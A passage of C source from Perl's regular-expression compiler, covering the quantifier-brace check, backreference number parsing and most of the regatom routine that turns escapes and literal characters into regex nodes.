function designed to match the most lenient form of * a {m,n} quantifier we ever envision, with either number omitted, and * spaces anywhere between/before/after them. * * If this function fails, then the string it matches is very unlikely to * ever be considered a valid quantifier, so we can allow the '{' that * begins it to be considered as a literal */ bool has_min = FALSE; bool has_max = FALSE; PERL_ARGS_ASSERT_NEW_REGCURLY; if (s >= e || *s++ != '{') return FALSE; while (s < e && isSPACE(*s)) { s++; } while (s < e && isDIGIT(*s)) { has_min = TRUE; s++; } while (s < e && isSPACE(*s)) { s++; } if (*s == ',') { s++; while (s < e && isSPACE(*s)) { s++; } while (s < e && isDIGIT(*s)) { has_max = TRUE; s++; } while (s < e && isSPACE(*s)) { s++; } } return s < e && *s == '}' && (has_min || has_max); } /* Parse backref decimal value, unless it's too big to sensibly be a backref, * in which case return I32_MAX (rather than possibly 32-bit wrapping) */ static I32 S_backref_value(char *p, char *e) { const char* endptr = e; UV val; if (grok_atoUV(p, &val, &endptr) && val <= I32_MAX) return (I32)val; return I32_MAX; } /* - regatom - the lowest level Try to identify anything special at the start of the current parse position. If there is, then handle it as required. This may involve generating a single regop, such as for an assertion; or it may involve recursing, such as to handle a () structure. If the string doesn't start with something special then we gobble up as much literal text as we can. If we encounter a quantifier, we have to back off the final literal character, as that quantifier applies to just it and not to the whole string of literals. Once we have been able to handle whatever type of thing started the sequence, we return the offset into the regex engine program being compiled at which any next regnode should be placed. Returns 0, setting *flagp to TRYAGAIN if reg() returns 0 with TRYAGAIN. Returns 0, setting *flagp to RESTART_PARSE if the parse needs to be restarted, or'd with NEED_UTF8 if the pattern needs to be upgraded to UTF-8 Otherwise does not return 0. Note: we have to be careful with escapes, as they can be both literal and special, and in the case of \10 and friends, context determines which. A summary of the code structure is: switch (first_byte) { cases for each special: handle this special; break; case '\\': switch (2nd byte) { cases for each unambiguous special: handle this special; break; cases for each ambigous special/literal: disambiguate; if (special) handle here else goto defchar; default: // unambiguously literal: goto defchar; } default: // is a literal char // FALL THROUGH defchar: create EXACTish node for literal; while (more input and node isn't full) { switch (input_byte) { cases for each special; make sure parse pointer is set so that the next call to regatom will see this special first goto loopdone; // EXACTish node terminated by prev. char default: append char to EXACTISH node; } get next input byte; } loopdone: } return the generated node; Specifically there are two separate switches for handling escape sequences, with the one for handling literal escapes requiring a dummy entry for all of the special escapes that are actually handled by the other. */ STATIC regnode_offset S_regatom(pTHX_ RExC_state_t *pRExC_state, I32 *flagp, U32 depth) { dVAR; regnode_offset ret = 0; I32 flags = 0; char *parse_start; U8 op; int invert = 0; U8 arg; GET_RE_DEBUG_FLAGS_DECL; *flagp = WORST; /* Tentatively. */ DEBUG_PARSE("atom"); PERL_ARGS_ASSERT_REGATOM; tryagain: parse_start = RExC_parse; assert(RExC_parse < RExC_end); switch ((U8)*RExC_parse) { case '^': RExC_seen_zerolen++; nextchar(pRExC_state); if (RExC_flags & RXf_PMf_MULTILINE) ret = reg_node(pRExC_state, MBOL); else ret = reg_node(pRExC_state, SBOL); Set_Node_Length(REGNODE_p(ret), 1); /* MJD */ break; case '$': nextchar(pRExC_state); if (*RExC_parse) RExC_seen_zerolen++; if (RExC_flags & RXf_PMf_MULTILINE) ret = reg_node(pRExC_state, MEOL); else ret = reg_node(pRExC_state, SEOL); Set_Node_Length(REGNODE_p(ret), 1); /* MJD */ break; case '.': nextchar(pRExC_state); if (RExC_flags & RXf_PMf_SINGLELINE) ret = reg_node(pRExC_state, SANY); else ret = reg_node(pRExC_state, REG_ANY); *flagp |= HASWIDTH|SIMPLE; MARK_NAUGHTY(1); Set_Node_Length(REGNODE_p(ret), 1); /* MJD */ break; case '[': { char * const oregcomp_parse = ++RExC_parse; ret = regclass(pRExC_state, flagp, depth+1, FALSE, /* means parse the whole char class */ TRUE, /* allow multi-char folds */ FALSE, /* don't silence non-portable warnings. */ (bool) RExC_strict, TRUE, /* Allow an optimized regnode result */ NULL); if (ret == 0) { RETURN_FAIL_ON_RESTART_FLAGP(flagp); FAIL2("panic: regclass returned failure to regatom, flags=%#" UVxf, (UV) *flagp); } if (*RExC_parse != ']') { RExC_parse = oregcomp_parse; vFAIL("Unmatched ["); } nextchar(pRExC_state); Set_Node_Length(REGNODE_p(ret), RExC_parse - oregcomp_parse + 1); /* MJD */ break; } case '(': nextchar(pRExC_state); ret = reg(pRExC_state, 2, &flags, depth+1); if (ret == 0) { if (flags & TRYAGAIN) { if (RExC_parse >= RExC_end) { /* Make parent create an empty node if needed. */ *flagp |= TRYAGAIN; return(0); } goto tryagain; } RETURN_FAIL_ON_RESTART(flags, flagp); FAIL2("panic: reg returned failure to regatom, flags=%#" UVxf, (UV) flags); } *flagp |= flags&(HASWIDTH|SPSTART|SIMPLE|POSTPONED); break; case '|': case ')': if (flags & TRYAGAIN) { *flagp |= TRYAGAIN; return 0; } vFAIL("Internal urp"); /* Supposed to be caught earlier. */ break; case '?': case '+': case '*': RExC_parse++; vFAIL("Quantifier follows nothing"); break; case '\\': /* Special Escapes This switch handles escape sequences that resolve to some kind of special regop and not to literal text. Escape sequences that resolve to literal text are handled below in the switch marked "Literal Escapes". Every entry in this switch *must* have a corresponding entry in the literal escape switch. However, the opposite is not required, as the default for this switch is to jump to the literal text handling code. */ RExC_parse++; switch ((U8)*RExC_parse) { /* Special Escapes */ case 'A': RExC_seen_zerolen++; ret = reg_node(pRExC_state, SBOL); /* SBOL is shared with /^/ so we set the flags so we can tell * /\A/ from /^/ in split. */ FLAGS(REGNODE_p(ret)) = 1; *flagp |= SIMPLE; goto finish_meta_pat; case 'G': ret = reg_node(pRExC_state, GPOS); RExC_seen |= REG_GPOS_SEEN; *flagp |= SIMPLE; goto finish_meta_pat; case 'K': RExC_seen_zerolen++; ret = reg_node(pRExC_state, KEEPS); *flagp |= SIMPLE; /* XXX:dmq : disabling in-place substitution seems to * be necessary here to avoid cases of memory corruption, as * with: C<$_="x" x 80; s/x\K/y/> -- rgs */ RExC_seen |= REG_LOOKBEHIND_SEEN; goto finish_meta_pat; case 'Z': ret = reg_node(pRExC_state, SEOL); *flagp |= SIMPLE; RExC_seen_zerolen++; /* Do not optimize RE away */ goto finish_meta_pat; case 'z': ret = reg_node(pRExC_state, EOS); *flagp |= SIMPLE; RExC_seen_zerolen++; /* Do not optimize RE away */ goto finish_meta_pat; case 'C': vFAIL("\\C no longer supported"); case 'X': ret = reg_node(pRExC_state, CLUMP); *flagp |= HASWIDTH; goto finish_meta_pat; case 'W': invert = 1; /* FALLTHROUGH */ case 'w': arg = ANYOF_WORDCHAR; goto join_posix; case 'B': invert = 1; /* FALLTHROUGH */ case 'b': { U8 flags = 0; regex_charset charset = get_regex_charset(RExC_flags); RExC_seen_zerolen++; RExC_seen |= REG_LOOKBEHIND_SEEN; op = BOUND + charset; if (RExC_parse >= RExC_end || *(RExC_parse + 1) != '{') { flags = TRADITIONAL_BOUND; if (op > BOUNDA) { /* /aa is same as /a */ op = BOUNDA; } } else { STRLEN length; char name = *RExC_parse; char * endbrace = NULL; RExC_parse += 2; endbrace = (char *) memchr(RExC_parse, '}', RExC_end - RExC_parse); if (! endbrace) { vFAIL2("Missing right brace on \\%c{}", name); } /* XXX Need to decide whether to take spaces or not. Should be * consistent with \p{}, but that currently is SPACE, which * means vertical too, which seems wrong * while (isBLANK(*RExC_parse)) { RExC_parse++; }*/ if (endbrace == RExC_parse) { RExC_parse++; /* After the '}' */ vFAIL2("Empty \\%c{}", name); } length = endbrace - RExC_parse; /*while (isBLANK(*(RExC_parse + length - 1))) { length--; }*/ switch (*RExC_parse) { case 'g': if ( length != 1 && (memNEs(RExC_parse + 1, length - 1, "cb"))) { goto bad_bound_type; } flags = GCB_BOUND; break; case 'l': if (length != 2 || *(RExC_parse + 1) != 'b') { goto bad_bound_type; } flags = LB_BOUND; break; case 's': if (length != 2 || *(RExC_parse + 1) != 'b') { goto bad_bound_type; } flags = SB_BOUND; break; case 'w': if (length != 2 || *(RExC_parse + 1) != 'b') { goto bad_bound_type; } flags = WB_BOUND; break; default: bad_bound_type: RExC_parse = endbrace; vFAIL2utf8f( "'%" UTF8f "' is an unknown bound type", UTF8fARG(UTF, length, endbrace - length)); NOT_REACHED; /*NOTREACHED*/ } RExC_parse = endbrace; REQUIRE_UNI_RULES(flagp, 0); if (op == BOUND) { op = BOUNDU; } else if (op >= BOUNDA) { /* /aa is same as /a */ op = BOUNDU; length += 4; /* Don't have to worry about UTF-8, in this message because * to get here the contents of the \b must be ASCII */ ckWARN4reg(RExC_parse + 1, /* Include the '}' in msg */ "Using /u for '%.*s' instead of /%s", (unsigned) length, endbrace - length + 1, (charset == REGEX_ASCII_RESTRICTED_CHARSET) ? ASCII_RESTRICT_PAT_MODS : ASCII_MORE_RESTRICT_PAT_MODS); } } if (op == BOUND) { RExC_seen_d_op = TRUE; } else if (op == BOUNDL) { RExC_contains_locale = 1; } if (invert) { op += NBOUND - BOUND; } ret = reg_node(pRExC_state, op); FLAGS(REGNODE_p(ret)) = flags; *flagp |= SIMPLE; goto finish_meta_pat; } case 'D': invert = 1; /* FALLTHROUGH */ case 'd': arg = ANYOF_DIGIT; if (! DEPENDS_SEMANTICS) { goto join_posix; } /* \d doesn't have any matches in the upper Latin1 range, hence /d * is equivalent to /u. Changing to /u saves some branches at * runtime */ op = POSIXU; goto join_posix_op_known; case 'R': ret = reg_node(pRExC_state, LNBREAK); *flagp |= HASWIDTH|SIMPLE; goto finish_meta_pat; case 'H': invert = 1; /* FALLTHROUGH */ case 'h': arg = ANYOF_BLANK; op = POSIXU; goto join_posix_op_known; case 'V': invert = 1; /* FALLTHROUGH */ case 'v': arg = ANYOF_VERTWS; op = POSIXU; goto join_posix_op_known; case 'S': invert = 1; /* FALLTHROUGH */ case 's': arg = ANYOF_SPACE; join_posix: op = POSIXD + get_regex_charset(RExC_flags); if (op > POSIXA) { /* /aa is same as /a */ op = POSIXA; } else if (op == POSIXL) { RExC_contains_locale = 1; } else if (op == POSIXD) { RExC_seen_d_op = TRUE; } join_posix_op_known: if (invert) { op += NPOSIXD - POSIXD; } ret = reg_node(pRExC_state, op); FLAGS(REGNODE_p(ret)) = namedclass_to_classnum(arg); *flagp |= HASWIDTH|SIMPLE; /* FALLTHROUGH */ finish_meta_pat: if ( UCHARAT(RExC_parse + 1) == '{' && UNLIKELY(! new_regcurly(RExC_parse + 1, RExC_end))) { RExC_parse += 2; vFAIL("Unescaped left brace in regex is illegal here"); } nextchar(pRExC_state); Set_Node_Length(REGNODE_p(ret), 2); /* MJD */ break; case 'p': case 'P': RExC_parse--; ret = regclass(pRExC_state, flagp, depth+1, TRUE, /* means just parse this element */ FALSE, /* don't allow multi-char folds */ FALSE, /* don't silence non-portable warnings. It would be a bug if these returned non-portables */ (bool) RExC_strict, TRUE, /* Allow an optimized regnode result */ NULL); RETURN_FAIL_ON_RESTART_FLAGP(flagp); /* regclass() can only return RESTART_PARSE and NEED_UTF8 if * multi-char folds are allowed. */ if (!ret) FAIL2("panic: regclass returned failure to regatom, flags=%#" UVxf, (UV) *flagp); RExC_parse--; Set_Node_Offset(REGNODE_p(ret), parse_start); Set_Node_Cur_Length(REGNODE_p(ret), parse_start - 2); nextchar(pRExC_state); break; case 'N': /* Handle \N, \N{} and \N{NAMED SEQUENCE} (the latter meaning the * \N{...} evaluates to a sequence of more than one code points). * The function call below returns a regnode, which is our result. * The parameters cause it to fail if the \N{} evaluates to a * single code point; we handle those like any other literal. The * reason that the multicharacter case is handled here and not as * part of the EXACtish code is because of quantifiers. In * /\N{BLAH}+/, the '+' applies to the whole thing, and doing it * this way makes that Just Happen. dmq. * join_exact() will join this up with adjacent EXACTish nodes * later on, if appropriate. */ ++RExC_parse; if (grok_bslash_N(pRExC_state, &ret, /* Want a regnode returned */ NULL, /* Fail if evaluates to a single code point */ NULL, /* Don't need a count of how many code points */ flagp, RExC_strict, depth) ) { break; } RETURN_FAIL_ON_RESTART_FLAGP(flagp); /* Here, evaluates to a single code point. Go get that */ RExC_parse = parse_start; goto defchar; case 'k': /* Handle \k<NAME> and \k'NAME' */ parse_named_seq: { char ch; if ( RExC_parse >= RExC_end - 1 || (( ch = RExC_parse[1]) != '<' && ch != '\'' && ch != '{')) { RExC_parse++; /* diag_listed_as: Sequence \%s... not terminated in regex; marked by <-- HERE in m/%s/ */ vFAIL2("Sequence %.2s... not terminated", parse_start); } else { RExC_parse += 2; ret = handle_named_backref(pRExC_state, flagp, parse_start, (ch == '<') ? '>' : (ch == '{') ? '}' : '\''); } break; } case 'g': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': { I32 num; bool hasbrace = 0; if (*RExC_parse == 'g') { bool isrel = 0; RExC_parse++; if (*RExC_parse == '{') { RExC_parse++; hasbrace = 1; } if (*RExC_parse == '-') { RExC_parse++; isrel = 1; } if (hasbrace && !isDIGIT(*RExC_parse)) { if (isrel) RExC_parse--; RExC_parse -= 2; goto parse_named_seq; } if (RExC_parse >= RExC_end) { goto unterminated_g; } num = S_backref_value(RExC_parse, RExC_end); if (num == 0) vFAIL("Reference to invalid group 0"); else if (num == I32_MAX) { if (isDIGIT(*RExC_parse)) vFAIL("Reference to nonexistent group"); else unterminated_g: vFAIL("Unterminated \\g... pattern"); } if (isrel) { num = RExC_npar - num; if (num < 1) vFAIL("Reference to nonexistent or unclosed group"); } } else { num = S_backref_value(RExC_parse, RExC_end); /* bare \NNN might be backref or octal - if it is larger * than or equal RExC_npar then it is assumed to be an * octal escape. Note RExC_npar is +1 from the actual * number of parens. */ /* Note we do NOT check if num == I32_MAX here, as that is * handled by the RExC_npar check */ if ( /* any numeric escape < 10 is always a backref */ num > 9 /* any numeric escape < RExC_npar is a backref */ && num >= RExC_npar /* cannot be an octal escape if it starts with 8 */ && *RExC_parse != '8' /* cannot be an octal escape it it starts with 9 */ && *RExC_parse != '9' ) { /* Probably not meant to be a backref, instead likely * to be an octal character escape, e.g. \35 or \777. * The above logic should make it obvious why using * octal escapes in patterns is problematic. - Yves */ RExC_parse = parse_start; goto defchar; } } /* At this point RExC_parse points at a numeric escape like * \12 or \88 or something similar, which we should NOT treat * as an octal escape. It may or may not be a valid backref * escape. For instance \88888888 is unlikely to be a valid * backref. */ while (isDIGIT(*RExC_parse)) RExC_parse++; if (hasbrace) { if (*RExC_parse != '}') vFAIL("Unterminated \\g{...} pattern"); RExC_parse++; } if (num >= (I32)RExC_npar) { /* It might be a forward reference; we can't fail until we * know, by completing the parse to get all the groups, and * then reparsing */ if (ALL_PARENS_COUNTED) { if (num >= RExC_total_parens) { vFAIL("Reference to nonexistent group"); } } else { REQUIRE_PARENS_PASS; } } RExC_sawback = 1; ret = reganode(pRExC_state, ((! FOLD) ? REF : (ASCII_FOLD_RESTRICTED) ? REFFA : (AT_LEAST_UNI_SEMANTICS) ? REFFU : (LOC) ? REFFL : REFF), num); if (OP(REGNODE_p(ret)) == REFF) { RExC_seen_d_op = TRUE; } *flagp |= HASWIDTH; /* override incorrect value set in reganode MJD */ Set_Node_Offset(REGNODE_p(ret), parse_start); Set_Node_Cur_Length(REGNODE_p(ret), parse_start-1); skip_to_be_ignored_text(pRExC_state, &RExC_parse, FALSE /* Don't force to /x */ ); } break; case '\0': if (RExC_parse >= RExC_end) FAIL("Trailing \\"); /* FALLTHROUGH */ default: /* Do not generate "unrecognized" warnings here, we fall back into the quick-grab loop below */ RExC_parse = parse_start; goto defchar; } /* end of switch on a \foo sequence */ break; case '#': /* '#' comments should have been spaced over before this function was * called */ assert((RExC_flags & RXf_PMf_EXTENDED) == 0); /* if (RExC_flags & RXf_PMf_EXTENDED) { RExC_parse = reg_skipcomment( pRExC_state, RExC_parse ); if (RExC_parse < RExC_end) goto tryagain; } */ /* FALLTHROUGH */ default: defchar: { /* Here, we have determined that the next thing is probably a * literal character. RExC_parse points to the first byte of its * definition. (It still may be an escape sequence that evaluates * to a single character) */ STRLEN len = 0; UV ender = 0; char *p; char *s; /* This allows us to fill a node with just enough spare so that if the final * character folds, its expansion is guaranteed to fit */ #define MAX_NODE_STRING_SIZE (255-UTF8_MAXBYTES_CASE) char *s0; U8 upper_parse = MAX_NODE_STRING_SIZE; /* We start out as an EXACT node, even if under /i, until we find a * character which is in a fold. The algorithm now segregates into * separate nodes, characters that fold from those that don't under * /i. (This hopefully will create nodes that are fixed strings * even under /i, giving the optimizer something to grab on to.) * So, if a node has something in it and the next character is in * the opposite category, that node is closed up, and the function * returns. Then regatom is called again, and a new node is * created for the new category. */ U8 node_type = EXACT; /* Assume the node will be fully used; the excess is given back at * the end. We can't make any other length assumptions, as a byte * input sequence could shrink down. */ Ptrdiff_t initial_size = STR_SZ(256); bool next_is_quantifier; char * oldp = NULL; /* We can convert EXACTF nodes to EXACTFU if they contain only * characters that match identically regardless of the target * string's UTF8ness. The reason to do this is that EXACTF is not * trie-able, EXACTFU is, and EXACTFU requires fewer operations at * runtime. * * Similarly, we can convert EXACTFL nodes to EXACTFLU8 if they * contain only above-Latin1 characters (hence must be in UTF8), * which don't participate in folds with Latin1-range characters, * as the latter's folds aren't known until runtime. */ bool maybe_exactfu = FOLD && (DEPENDS_SEMANTICS || LOC); /* Single-character EXACTish nodes are almost always SIMPLE. This * allows us to override this as encountered */ U8 maybe_SIMPLE = SIMPLE; /* Does this node contain something that can't match unless the * target string is (also) in UTF-8 */ bool requires_utf8_target = FALSE; /* The sequence 'ss' is problematic in non-UTF-8 patterns. */ bool has_ss = FALSE; /* So is the MICRO SIGN */ bool has_micro_sign = FALSE; /* Allocate an EXACT node. The node_type may change below to * another EXACTish node, but since the size of the node doesn't * change, it works */ ret = regnode_guts(pRExC_state, node_type, initial_size, "exact"); FILL_NODE(ret, node_type); RExC_emit++; s = STRING(REGNODE_p(ret)); s0 = s; reparse: /* This breaks under rare circumstances. If folding, we do not * want to split a node at a character that is a non-final in a * multi-char fold, as an input string could just happen to want to * match across the node boundary. The code at the end of the loop * looks for this, and backs off until it finds not such a * character, but it is possible (though extremely, extremely * unlikely) for all characters in the node to be non-final fold * ones, in which case we just leave the node fully filled, and * hope that it doesn't match the string in just the wrong place */ assert( ! UTF /* Is at the beginning of a character */ || UTF8_IS_INVARIANT(UCHARAT(RExC_parse)) || UTF8_IS_START(UCHARAT(RExC_parse))); /* Here, we have a literal character. Find the maximal string of * them in the input that we can fit into a single EXACTish node. * We quit at the first non-literal or when the node gets full, or * under /i the categorization of folding/non-folding character * changes */ for (p = RExC_parse; len < upper_parse && p < RExC_end; ) { /* In most cases each iteration adds one byte to the output. * The exceptions override this */ Size_t added_len = 1; oldp = p; /* White space has already been ignored */ assert( (RExC_flags & RXf_PMf_EXTENDED) == 0 || ! is_PATWS_safe((p), RExC_end, UTF)); switch ((U8)*p) { case '^': case '$': case '.': case '[': case '(': case ')': case '|': goto loopdone; case '\\': /* Literal Escapes Switch This switch is meant to handle escape sequences that resolve to a literal character. Every escape sequence that represents something else, like an assertion or a char class, is handled in the switch marked 'Special Escapes' above in this routine, but also has an entry here as anything that isn't explicitly mentioned here will be treated as an unescaped equivalent literal. */ switch ((U8)*++p) { /* These are all the special escapes. */ case 'A': /* Start assertion */ case 'b': case 'B': /* Word-boundary assertion*/ case 'C': /* Single char !DANGEROUS! */ case 'd': case 'D': /* digit class */ case 'g': case 'G': /* generic-backref, pos assertion */ case 'h': case 'H': /* HORIZWS */ case 'k': case 'K': /* named backref, keep marker */ case 'p': case 'P': /* Unicode property */ case 'R': /* LNBREAK */ case 's': case 'S': /* space class */ case 'v': case 'V': /* VERTWS */ case 'w': case 'W': /* word class */ case 'X': /* eXtended Unicode "combining character sequence" */ case 'z': case 'Z': /* End of line/string assertion */ --p; goto loopdone; /* Anything after here is an escape that resolves to a literal. (Except digits, which may or may not) */ case 'n': ender = '\n'; p++; break; case 'N': /* Handle a single-code point named character. */ RExC_parse = p + 1; if (! grok_bslash_N(pRExC_state, NULL, /* Fail if evaluates to anything other than a single code point */ &ender, /* The returned single code point */ NULL, /* Don't need a count of how many code points */ flagp, RExC_strict, depth) ) { if (*flagp & NEED_UTF8) FAIL("panic: grok_bslash_N set NEED_UTF8"); RETURN_FAIL_ON_RESTART_FLAGP(flagp); /* Here, it wasn't a single code point. Go close * up this EXACTish node. The switch() prior to * this switch handles the other cases */ RExC_parse = p = oldp; goto loopdone; } p = RExC_parse; RExC_parse = parse_start; /* The \N{} means the pattern, if previously /d, * becomes /u. That means it can't be an EXACTF node, * but an EXACTFU */ if (node_type == EXACTF) { node_type = EXACTFU; /* If the node already contains something that * differs between EXACTF and EXACTFU, reparse it * as EXACTFU */ if (! maybe_exactfu) { len = 0; s = s0; goto reparse; } } break; case 'r': ender = '\r'; p++; break; case 't': ender = '\t'; p++; break; case 'f': ender = '\f'; p++; break; case 'e': ender = ESC_NATIVE; p++; break; case 'a': ender = '\a'; p++; break; case 'o': { UV result; const char* error_msg; bool valid = grok_bslash_o(&p, RExC_end, &result, &error_msg, TO_OUTPUT_WARNINGS(p), (bool) RExC_strict, TRUE, /* Output warnings for non- portables */ UTF); if (! valid) { RExC_parse = p; /* going to die anyway; point to exact spot of failure */ vFAIL(error_msg); } UPDATE_WARNINGS_LOC(p - 1); ender = result; break; } case 'x': { UV result = UV_MAX; /* initialize to erroneous value */ const char* error_msg; bool valid = grok_bslash_x(&p, RExC_end, &result, &error_msg, TO_OUTPUT_WARNINGS(p), (bool) RExC_strict, TRUE, /* Silence warnings for non- portables */ UTF); if (! valid) { RExC_parse = p; /* going to die anyway; point to exact spot of failure */ vFAIL(error_msg); } UPDATE_WARNINGS_LOC(p - 1); ender = result; if (ender < 0x100) { #ifdef EBCDIC if (RExC_recode_x_to_native) { ender = LATIN1_TO_NATIVE(ender); } #endif } break; } case 'c': p++; ender = grok_bslash_c(*p, TO_OUTPUT_WARNINGS(p)); UPDATE_WARNINGS_LOC(p); p++; break; case '8': case '9': /* must be a backreference */ --p; /* we have an escape like \8 which cannot be an octal escape * so we exit the loop, and let the outer loop handle this * escape which may or may not be a legitimate backref. */ goto loopdone; case '1': case '2': case '3':case '4': case '5': case '6': case '7': /* When we parse backslash escapes there is ambiguity * between backreferences and octal escapes. Any escape * from \1 - \9 is a backreference, any multi-digit * escape which does not start with 0 and which when * evaluated as decimal could refer to an already * parsed capture buffer is a back reference. Anything * else is octal. * * Note this implies that \118 could be interpreted as * 118 OR as "\11" . "8" depending on whether there * were 118 capture buffers defined already in the * pattern. */ /* NOTE, RExC_npar is 1 more than the actual number of * parens we have seen so far, hence the "<" as opposed * to "<=" */ if ( !isDIGIT(p[1]) || S_backref_value(p, RExC_end) < RExC_npar) { /* Not to be treated as an octal constant, go find backref */ --p; goto loopdone; } /* FALLTHROUGH */ case '0': { I32 flags = PERL_SCAN_SILENT_ILLDIGIT; STRLEN numlen = 3; ender = grok_oct(p, &numlen, &flags, NULL); p += numlen; if ( isDIGIT(*p) /* like \08, \178 */ && ckWARN(WARN_REGEXP) && numlen < 3) { reg_warn_non_literal_string( p + 1, form_short_octal_warning(p, numlen)); } } break; case '\0': if (p >= RExC_end) FAIL("Trailing \\"); /* FALLTHROUGH */ default: if (isALPHANUMERIC(*p)) { /* An alpha followed by '{' is going to fail next * iteration, so don't output this warning in that * case */ if (! isALPHA(*p) || *(p + 1) != '{') { ckWARN2reg(p + 1, "Unrecognized escape \\%.1s" " passed through", p); } } goto normal_default; } /* End of switch on '\' */ break; case '{': /* Trying to gain new uses for '{' without breaking too * much existing code is hard. The solution currently * adopted is: * 1) If there is no ambiguity that a '{' should always * be taken literally, at the start of a construct, we * just do so. * 2) If the literal '{' conflicts with our desired use * of it as a metacharacter, we die. The deprecation * cycles for this have come and gone. * 3) If there is ambiguity, we raise a simple warning. * This could happen, for example, if the user * intended it to introduce a quantifier, but slightly * misspelled the quantifier. Without this warning, * the quantifier would silently be taken as a literal * string of characters instead of a meta construct */ if (len || (p > RExC_start && isALPHA_A(*(p - 1)))) { if ( RExC_strict || ( p > parse_start + 1 && isALPHA_A(*(p - 1)) && *(p - 2) == '\\') || new_regcurly(p, RExC_end)) { RExC_parse = p + 1; vFAIL("Unescaped left brace in regex is " "illegal here"); } ckWARNreg(p + 1, "Unescaped left brace in regex is" " passed through"); } goto normal_default; case '}': case ']': if (p > RExC_parse && RExC_strict) { ckWARN2reg(p + 1, "Unescaped literal '%c'", *p); } /*FALLTHROUGH*/ default: /* A literal character */ normal_default: if (! UTF8_IS_INVARIANT(*p) && UTF) { STRLEN numlen; ender = utf8n_to_uvchr((U8*)p, RExC_end - p, &numlen, UTF8_ALLOW_DEFAULT); p += numlen; } else ender = (U8) *p++; break; } /* End of switch on the literal */ /* Here, have looked at the literal character, and <ender> * contains its ordinal; <p> points to the character after it. * */ if (ender > 255) { REQUIRE_UTF8(flagp); } /* We need to check if the next non-ignored thing is a * quantifier. Move <p> to after anything that should be * ignored, which, as a side effect, positions <p> for the next * loop iteration */ skip_to_be_ignored_text(pRExC_state, &p, FALSE /* Don't force to /x */ ); /* If the next thing is a quantifier, it applies to this * character only, which means that this character has to be in * its own node and can't just be appended to the string in an * existing node, so if there are already other characters in * the node, close the node with just them, and set up to do * this character again next time through, when it will be the * only thing in its new node */ next_is_quantifier = LIKELY(p < RExC_end) && UNLIKELY(ISMULT2(p)); if (next_is_quantifier && LIKELY(len)) { p = oldp; goto loopdone; } /* Ready to add 'ender' to the node */ if (! FOLD) { /* The simple case, just append the literal */ not_fold_common: if (UVCHR_IS_INVARIANT(ender) || ! UTF) { *(s++) = (char) ender; } else { U8 * new_s = uvchr_to_utf8((U8*)s, ender); added_len = (char *) new_s - s; s = (char *) new_s; if (ender > 255) { requires_utf8_target = TRUE; } } } else if (LOC && is_PROBLEMATIC_LOCALE_FOLD_cp(ender)) { /* Here are folding under /l, and the code point is * problematic. If this is the first character in the * node, change the node type to folding. Otherwise, if * this is the first problematic character, close up the * existing node, so can start a new node with this one */ if (! len) { node_type = EXACTFL; RExC_contains_locale = 1; } else if (node_type == EXACT) { p = oldp; goto loopdone; } /* This problematic code point means we can't simplify * things */ maybe_exactfu = FALSE; /* Here, we are adding a problematic fold character. * "Problematic" in this context means that its fold isn't * known until runtime. (The non-problematic code points * are the above-Latin1 ones that fold to also all * above-Latin1. Their folds don't vary no matter what the * locale is.) But here we have characters whose fold * depends on the locale. We just add in the unfolded * character, and wait until runtime to fold it */ goto not_fold_common; } else /* regular fold; see if actually is in a fold */ if ( (ender < 256 && ! IS_IN_SOME_FOLD_L1(ender)) || (ender > 255 && ! _invlist_contains_cp(PL_in_some_fold, ender))) { /* Here, folding, but the character isn't in a fold. * * Start a new node if previous characters in the node were * folded */ if (len && node_type != EXACT) { p = oldp; goto loopdone; } /* Here, continuing a node with non-folded characters. Add * this one */ goto not_fold_common; } else { /* Here, does participate in some fold */ /* If this is the first character in the node, change its * type to folding. Otherwise, if this is the first * folding character in the node, close up the existing * node, so can start a new node with this one. */ if (! len) { node_type = compute_EXACTish(pRExC_state); } else if (node_type == EXACT) { p = oldp; goto loopdone; } if (UTF) { /* Use the folded value */ if (UVCHR_IS_INVARIANT(ender)) { *(s)++ = (U8) toFOLD(ender); } else { ender = _to_uni_fold_flags( ender, (U8 *) s, &added_len, FOLD_FLAGS_FULL | ((ASCII_FOLD_RESTRICTED) ? FOLD_FLAGS_NOMIX_ASCII : 0)); s += added_len; if ( ender > 255 && LIKELY(ender != GREEK_SMALL_LETTER_MU)) { /* U+B5 folds to the MU, so its possible for a * non-UTF-8 target to match it */ requires_utf8_target = TRUE; } } } else { /* Here is non-UTF8. First, see if the character's * fold differs between /d and /u. */ if (PL_fold[ender] != PL_fold_latin1[ender]) { maybe_exactfu = FALSE; } #if UNICODE_MAJOR_VERSION > 3 /* no multifolds in early Unicode */ \ || (UNICODE_MAJOR_VERSION == 3 && ( UNICODE_DOT_VERSION > 0) \ || UNICODE_DOT_DOT_VERSION > 0) /* On non-ancient Unicode versions, this includes the * multi-char fold SHARP S to 'ss' */ if ( UNLIKELY(ender == LATIN_SMALL_LETTER_SHARP_S) || ( isALPHA_FOLD_EQ(ender, 's') && len > 0 && isALPHA_FOLD_EQ(*(s-1), 's'))) { /* Here, we have one of the following: * a) a SHARP S. This folds to 'ss' only under * /u rules. If we are in that situation, * fold the SHARP S to 'ss'. See the comments * for join_exact() as to why we fold this * non-UTF at compile time, and no others. * b) 'ss'. When under /u, there's nothing * special needed to be done here. The * previous iteration handled the first 's', * and this iteration will handle the second. * If, on the otherhand it's not /u, we have * to exclude the possibility of moving to /u, * so that we won't generate an unwanted * match, unless, at runtime, the target * string is in UTF-8. * */ has_ss = TRUE; maybe_exactfu = FALSE; /* Can't generate an EXACTFU node (unless we already are in one) */ if (UNLIKELY(ender == LATIN_SMALL_LETTER_SHARP_S)) { maybe_SIMPLE = 0; if (node_type == EXACTFU) { *(s++) = 's'; /* Let the code below add in the extra 's' */ ender = 's'; added_len = 2; } } } #endif else if (UNLIKELY(ender == MICRO_SIGN)) { has_micro_sign = TRUE; } *(s++) = (DEPENDS_SEMANTICS) ? (char) toFOLD(ender) /* Under /u, the fold of any character in * the 0-255 range happens to be its * lowercase equivalent, except for LATIN * SMALL LETTER SHARP S, which was handled * above, and the MICRO SIGN, whose fold * requires UTF-8 to represent. */ : (char) toLOWER_L1(ender); } } /* End of adding current character to the node */ len += added_len; if (next_is_quantifier) { /* Here, the next input is a quantifier, and to get here, * the current character is the only one in the node. */ goto loopdone; } } /* End of loop through literal characters */ /* Here we have either exhausted the input or ran out of room in * the node. (If we encountered a character that can't be in the * node, transfer is made directly to <loopdone>, and so we * wouldn't have fallen off the end of the loop.) In the latter * case, we artificially have to split the node into two, because * we just don't have enough space to hold everything. This * creates a problem if the final character participates in a * multi-character fold in the non-final position, as a match that * should have occurred won't, due to the way nodes are matched, * and our artificial boundary. So back off until we find a non- * problematic character -- 